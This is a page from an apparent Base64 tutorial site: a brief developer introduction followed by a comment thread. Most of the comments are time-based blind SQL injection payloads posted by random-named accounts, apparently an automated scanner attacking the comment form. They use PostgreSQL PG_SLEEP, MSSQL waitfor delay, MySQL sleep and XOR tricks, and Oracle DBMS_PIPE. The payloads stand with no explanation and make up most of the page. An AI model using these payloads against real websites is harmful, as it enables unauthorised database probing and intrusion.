A virtual teacher who reveals to you the great secrets of Base64

Base64 for Developers

I created this section for developers who plan to study Base64 and use it for their projects. Perhaps this section may be interesting for “regular” users who want to know what kind of magic works under the hood.

Technologies and programming languages that support Base64:

Of course, this is far to be a full list, but I will try to add new stuff as soon as I gather enough information about it. Unfortunately, my knowledge is limited, so I will be grateful for any help to correct inaccuracies or add new goodies.

Comments (38)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • Sarah,
    I am using your website as a source for a paper I am working on (school, not professional). I couldn't easily find an author name, beyond base64guru. Is that how you would prefer to be cited? If not, just let me know the name you'd prefer and I'll change it before submitting the assignment (which is due Monday, July 13). Thanks!
  • christopher,
    hi i started week ago
  • nqhXncMU,
    -5 OR 343=(SELECT 343 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1' OR 3+551-551-1=0+0+0+1 --
  • nqhXncMU,
    SZcQo3hk')) OR 977=(SELECT 977 FROM PG_SLEEP(15))--
  • nqhXncMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • nqhXncMU,
    -1 OR 2+97-97-1=0+0+0+1 --
  • nqhXncMU,
    vl3Og4hE')) OR 242=(SELECT 242 FROM PG_SLEEP(15))--
  • nqhXncMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • nqhXncMU,
    -5 OR 665=(SELECT 665 FROM PG_SLEEP(15))--
  • nqhXncMU,
    rGTjya0e'; waitfor delay '0:0:15' --
  • nqhXncMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • gBqsPxAZ,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • gBqsPxAZ,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • gBqsPxAZ,
    kTrJaRVd') OR 115=(SELECT 115 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • gBqsPxAZ,
    zkwaJlY4' OR 525=(SELECT 525 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • nqhXncMU,
    -1); waitfor delay '0:0:15' --
  • nqhXncMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • nqhXncMU,
    dirKl6PS' OR 93=(SELECT 93 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1 OR 2+968-968-1=0+0+0+1 --
  • ncMUFCMU,
    if(now()=sysdate(),sleep(15),0)
  • ncMUFCMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • ncMUFCMU,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • ncMUFCMU,
    -1' OR 2+373-373-1=0+0+0+1 or '7dUiDgl9'='
  • ncMUFCMU,
    1 waitfor delay '0:0:15' --
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • nqhXncMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • nqhXncMU,
    -1; waitfor delay '0:0:15' --
  • nqhXncMU,
    -1)) OR 326=(SELECT 326 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1; waitfor delay '0:0:15' --
  • nqhXncMU,
    56tqQk8B') OR 758=(SELECT 758 FROM PG_SLEEP(15))--
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • fHLvlxbf,
    -1' OR 2+871-871-1=0+0+0+1 or 'HfIYkjZM'='
  • fHLvlxbf,
    -1)) OR 767=(SELECT 767 FROM PG_SLEEP(15))--
  • fHLvlxbf,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    • Nathan,
      Oh my lord, so many skids here. ?‍♂️?
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.